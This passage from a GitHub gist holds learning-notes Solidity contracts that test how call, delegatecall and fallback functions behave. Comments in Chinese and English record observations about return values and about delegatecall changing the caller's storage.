event DefaultCalledEvt(string flag, address owner); | |
function inc(uint num) public returns(uint) { | |
return count += num; | |
assert(false); // raise exception if false; | |
} | |
function() private { //WYH: ? should i make it public visible ? | |
emit DefaultCalledEvt("Counter_WithException::", this); | |
throw; | |
} | |
} | |
contract CallCounter { | |
function callByAddr(address addr) public returns(uint) { | |
uint ret= Counter(addr).inc(2); //WYH: attention, u can get return value anyway!!! | |
return ret; | |
} | |
} | |
contract Caller_by_delegate_without_count { | |
uint public test_number = 1; | |
//执行callByDelegate()后,test_number值 会增加2 , 而不是Counter中的count值增加2!!! | |
//(更准确地说:是与被调用合约的函数中操作的状态变量的偏移,根据这个偏移找到调用合约中的该位置处的数据进行操作! )会增加2~ | |
event DefaultCalledEvt(string flag, address owner); | |
function callByDelegate(address addr) public returns(bool) { | |
bytes4 methodId = bytes4(keccak256("inc(uint256)")); | |
bool ret = addr.delegatecall(methodId, 2); | |
return ret; | |
} | |
function() private { //WYH: ? should i make it public visible ? | |
emit DefaultCalledEvt("Caller_by_delegate_without_count::", this); | |
} | |
} | |
contract Caller_by_call { | |
uint public test_number = 111; | |
event DefaultCalledEvt(string flag, address owner); | |
event RetValue(string flag, bool); | |
function callByCall(address addr) public returns(bool) { | |
bytes4 methodId ; | |
methodId = bytes4(keccak256("inc(uint256)")); | |
bool ret = addr.call(methodId, 2); | |
return ret; | |
} | |
function callByCallNonExisted(address addr) public returns(bool) { | |
bytes4 methodId; | |
// methodId[0] = 2; | |
methodId = 0x01020304; | |
bool ret = addr.call(methodId, 2); // return true! when will return false? when Out of Gas? | |
// failed(due to forged selector) and Fallback func of contract 'Counter' was called! | |
//Summary: if raise exception inside the call(), then ret value is false! | |
emit RetValue("Caller_by_call::callByCallNonExisted", ret); | |
return ret; | |
} | |
function() private { //WYH: ? should i make it public visible ? | |
emit DefaultCalledEvt("Caller_by_call::", this); | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment